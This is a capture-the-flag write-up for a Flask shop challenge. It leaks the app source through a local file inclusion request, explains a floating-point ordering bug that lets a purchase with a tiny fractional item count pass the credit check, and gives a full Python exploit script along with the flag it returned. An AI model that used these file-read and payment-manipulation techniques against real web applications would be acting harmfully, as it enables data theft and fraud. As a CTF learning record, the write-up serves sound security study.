First, we can leak the source code using LFI vulnerability
``````
So, after some guessing we finally get the source (app.py)
- http://46.101.173.61/image?name=app.py
source is like this
```pythonfrom flask import Flask, Response, render_template, session, request, jsonify
app = Flask(__name__)app.secret_key = open('private/secret.txt').read()
flags = {	'fake1': {		'price': 125,		'coupons': ['fL@__g'],		'data': 'fake1{this_is_a_fake_flag}'	},	'fake2': {		'price': 290,		'coupons': ['fL@__g'],		'data': 'fake2{this_is_a_fake_flag}'	},	'asis': {		'price': 110,		'coupons': [],		'data': open('private/flag.txt').read()	}}
@app.route('/')def main():	if session.get('credit') == None:		session['credit'] = 0		session['coupons'] = []	return render_template('index.html', credit = session['credit'])	#return 'Hello World!Your Credit is {}Used Coupons is {}'.format(session.get('credit'), session.get('coupons'))
@app.route('/image')def resouce():	image_name = request.args.get('name')	if '/' in image_name or '..' in image_name or 'private' in image_name:		return 'Access Denied'	return Response(open(image_name).read(), mimetype='image/png')
@app.route('/pay', methods=['POST'])def pay():	data = request.get_json()
	card = data['card']	coupon = data['coupon']
	if coupon.replace('=','') in session.get('coupons'):		return jsonify({'result': 'the coupon is already used'})
	for flag in card:		if flag['count'] <= 0:			return jsonify({'result':'item count must be greater than zero'})
	discount = 0	for flag in card:        if coupon.decode('base64').strip() in flags[flag['name']]['coupons']:			discount += flag['count'] * flags[flag['name']]['price']
	credit = session.get('credit') + discount
	for flag in card:		credit -= flag['count'] * flags[flag['name']]['price'] 	if credit < 0:		result = {'result': 'your credit not enough'}	else:		result = {'result': 'pay success'}		result_data = []		for flag in card:			result_data.append({'flag': flag['name'], 'data': flags[flag['name']]['data']})		result['data'] = result_data		session['credit'] = credit		session['coupons'].append(coupon.replace('=',''))	return jsonify(result)
if __name__ == '__main__':	app.run(host='0.0.0.0', port=80)```
The point of this challenge is that we can discount the flag price using coupons BUT when we pay the flag it substract our payment AND the flag price.
So, the calaulation is like 
```# using couponcoupon_credit = flag['price'] * flag['count']
# paidcredit = coupon_credit - sumof(flag['count'] + flag['price'])
if credit >= 0:	print FLAG```
that's weird :(
we can't put the count as negative value but real number (0<1)
However, at the end, the final credit should be negative value because the calculation logic substract the disdcount and real flag when we paid.
The trick of other write-ups is using NaN value that will produce the result as 0.
But there is also other trick to abuse the calculation using floating-point issue- https://docs.python.org/3/tutorial/floatingpoint.html
The link mention that they drop after 17 digits.
Then, simply can we get the flag when we set the count[0] is 1e-17 ? the answer is nope :)
because, when they calculate multiplication, they support 1e-10**32 float value lol !!
Our trick is the sequence of calculation (Float -> Int), its only support 1e-16 and drop the rest digits
```pythona = [125, 110]b = [1, 1e-17]credit = 125
print "coupon credit : ", creditfor i in range(0, len(a)):    credit -= a[i] * b[i]    print "a[%d] * b[%d] : "%(i, i), a[i] * b[i]    print "credit      : ", credit
print "Final value : ", creditprint "Is equal 0? : ", credit == 0print
a = [110, 125]b = [1e-17, 1]credit = 125
print "coupon credit : ", creditfor i in range(0, len(a)):    credit -= a[i] * b[i]    print "a[%d] * b[%d] : "%(i,i), a[i] * b[i]    print "credit      : ", credit
print "Final value : ", creditprint "Is equal 0? : ", credit == 0print```
The result is
```coupon credit :  125a[0] * b[0] :  125credit      :  0a[1] * b[1] :  1.1e-15credit      :  -1.1e-15Final value :  -1.1e-15Is equal 0? :  False
coupon credit :  125a[0] * b[0] :  1.1e-15credit      :  125.0a[1] * b[1] :  125credit      :  0.0Final value :  0.0Is equal 0? :  True```
lol !! the sequence is matter of result in python !!
Simply, the python thought that,
```>>> 1-1+1e-171e-17>>> 1e-171e-17>>> 1-1+1e-17==1e-17True>>> 1-(1-1e-17)==1e-17False>>> 1+1e-171.0>>> 0+1e-171e-17```
anyway, the final code is 
```pythonimport requests
url = "http://46.101.173.61/pay"
headers = {	'Host': '46.101.173.61',}
r = requests.get("http://46.101.173.61", headers=headers)print "[*] get request"print r.contentprint r.headersprint
headers['Cookie'] = r.headers['Set-Cookie']headers['Content-Type'] = "application/json"headers['X-Requested-With'] = "XMLHttpRequest"
# card sequence is matter of resultdata = '''{"card":[{"name":"asis", "count":1e-17},{"name":"fake2", "count":1}],"coupon":"%s"}''' % ("fL@__g".encode("base64").strip())r = requests.post(url, headers=headers, data=data)print "[*] response"print r.headersprint r.content```
The result of the code
```[*] response{"data": [{"data": "ASIS{th1@n_3xpens1ve_Fl@G}\n", "flag": "asis"}, {"data": "fake2{this_is_a_fake_flag}", "flag": "fake2"}], "result": "pay success"}[Finished in 2.1s]```
I had lots fun with this floating issue in python. =)